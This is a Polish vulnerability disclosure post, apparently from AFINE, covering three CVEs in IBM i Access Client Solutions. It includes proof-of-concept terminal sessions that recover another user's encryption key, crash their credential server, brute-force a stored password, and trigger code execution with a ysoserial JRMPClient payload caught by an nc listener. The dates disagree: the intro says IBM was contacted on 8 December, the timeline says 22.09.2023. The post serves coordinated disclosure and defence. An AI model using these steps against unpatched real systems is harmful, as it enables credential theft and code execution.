Podatności w IBM i Access Client Solutions
Michał Majchrowicz i Maksymilian Kubiak z zespołu AFINE odkryli szereg luk w oprogramowaniu IBM i Access Client Solutions związanych z łączeniem serwerów AS400. Połączenie tych luk może umożliwić zdalnemu atakującemu na dostęp do maszyn klienckich i serwerowych. Po odkryciu podatności, skontaktowaliśmy się z dostawcą (IBM) i przedstawiliśmy szczegóły 8 grudnia 2023.
W tym wpisie omawiamy szczegóły i przedstawiamy dowody wykorzystania podatności dla wszystkich trzech luk:
- Remote code execution via insecure deserialization (CVE-2023-45185),
- Broken access control in the temporary credential server (CVE-2023-45184),
- Weak password storage (CVE-2023-45182).
Podatności wyeliminowano w wersji 1.1.9.4 i nowszej IBM i Access Client Solutions.
Nieprawidłowa kontrola dostępu na lokalnym serwerze
IBM i Access Client Solutions wykorzystywał oddzielny serwer lokalny do przechowywania tymczasowych kluczy szyfrowania haseł, który działał na losowym porcie TCP6. Aplikacja pobierała tymczasowy klucz szyfrowania bez żadnej kontroli dostępu.
Lokalny serwer można łatwo znaleźć używając polecenia netstat
:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Więcej szczegółów dotyczących lokalnego serwera możemy potwierdzić za pomocą polecenia ps
:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Możemy uzyskać tymczasowy klucz szyfrowania hasła z lokalnego serwera uruchomionego przez użytkownika mmajchrowicz za pomocą skryptu get_key.py
z konta mkubiak (skrypt Python można znaleźć tutaj):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./get_key.py 34307
IBM AS400 Secret Key Recovery Tool v0.2 by Michal Majchrowicz AFINE Team
Received data len: 288
Received data in hex format: b'aced00057372001c636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79000000000000000102000449000b6d5f636f6e646974696f6e4c00056d5f6578637400154c6a6176612f6c616e672f5468726f7761626c653b4c000e6d5f657874656e646564446174617400124c6a6176612f6c616e672f537472696e673b4c000b6d5f7265706c79436f64657400284c636f6d2f69626d2f696163636573732f626173652f4c6d5265706c79245265706c79436f64653b787000000000707400087a6d2f2f69637a2f7e720026636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79245265706c79436f646500000000000000001200007872000e6a6176612e6c616e672e456e756d0000000000000000120000'
Received data in ascii format: b'\xac\xed\x00\x05sr\x00\x1ccom.ibm.iaccess.base.LmReply\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04I\x00\x0bm_conditionL\x00\x05m_exct\x00\x15Ljava/lang/Throwable;L\x00\x0em_extendedDatat\x00\x12Ljava/lang/String;L\x00\x0bm_replyCodet\x00(Lcom/ibm/iaccess/base/LmReply$ReplyCode;xp\x00\x00\x00\x00pt\x00\x08zm//icz/~r\x00&com.ibm.iaccess.base.LmReply$ReplyCode\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00xr\x00\x0ejava.lang.Enum\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00'
Secret key: zm//icz/
Lokalny serwer uruchomiony przez użytkownika mmajchrowicz możemy wyłączyć za pomocą skryptu kill_server.py
z konta użytkownika mkubiak (skrypt można znaleźć tutaj):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./kill_server.py 34307
IBM AS400 Access Client Credentials Server DoS Tool v0.2 by Michal Majchrowicz AFINE Team
Error: [Errno 104] Connection reset by peer
Credentials server seems to be dead :)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep 34307
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Problem ten był spowodowany przez brak kontroli dostępu źródła żądań.
Słabe szyfrowanie haseł
IBM i Access Client Solutions wykorzystuje algorytm AES do przechowywania haseł użytkowników. Okazało się jednak, że 16-bajtowy klucz szyfrujący jest kombinacją statycznego ciągu znaków (Thanatos) i losowych znaków z ciągu znaków, który składa się z innego, statycznego ciągu znaków (Behemoth) połączonego z nazwą użytkownika, katalogiem domowym użytkownika, systemem operacyjnym (np. Linux) połączonym z bieżącym katalogiem, z którego aplikacja jest uruchomiona. W rezultacie połowa klucza szyfrującego jest statyczna (ciąg znaków Thanatos), podczas gdy druga połowa jest bardzo ograniczona. Ułatwia to atakującemu łamanie haseł, nawet na pojedynczym rdzeniu procesora.
Poniżej przykład odszyfrowania hasła użytkownika mmajchrowicz przy użyciu skryptu as400_password_bruteforce_tool.java
z konta użytkownika mkubiak (skrypt można znaleźć tutaj):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt
IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team
Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47
Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19
Found good pass: Thanatosaun/Lcmo
Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74
Decrypted system password: Pentest
Problem był spowodowany użyciem słabego szyfrowania haseł.
Zdalne wykonanie kodu poprzez niebezpieczną deserializację
IBM i Access Client Solutions wykorzystywało niebezpieczną deserializację do przechowywania haseł i uzyskiwania klucza deszyfrującego. Może to zostać wykorzystane przez lokalnego lub zdalnego atakującego do wykonania kodu.
Lokalny serwer można łatwo znaleźć używając polecenia netstat
:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Więcej szczegółów dotyczących lokalnego serwera możemy potwierdzić za pomocą polecenia ps
:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Wykonanie kodu przez użytkownika mmajchrowicz możemy uzyskać używając payloadu ysoserial
z konta użytkownika mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307=
W drugim oknie terminala otrzymamy połączenie w momencie uruchomienia payloadu:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
Problem był spowodowany niebezpieczną deserializacją pakietów sieciowych i danych użytkownika.
Oś czasu
- Podatności zgłoszone dostawcy: 22.09.2023
- Wydanie poprawionej wersji 1.1.9.4: 08.12.2023
- Ujawnienie podatności: 15.12.2023
Referencje
- https://www.ibm.com/support/pages/node/7091942
- https://github.com/afine-com/CVE-2023-45185
- https://github.com/afine-com/CVE-2023-45184
- https://github.com/afine-com/CVE-2023-45182
- https://nvd.nist.gov/vuln/detail/CVE-2023-45185
- https://nvd.nist.gov/vuln/detail/CVE-2023-45184
- https://nvd.nist.gov/vuln/detail/CVE-2023-45182
- https://github.com/frohoff/ysoserial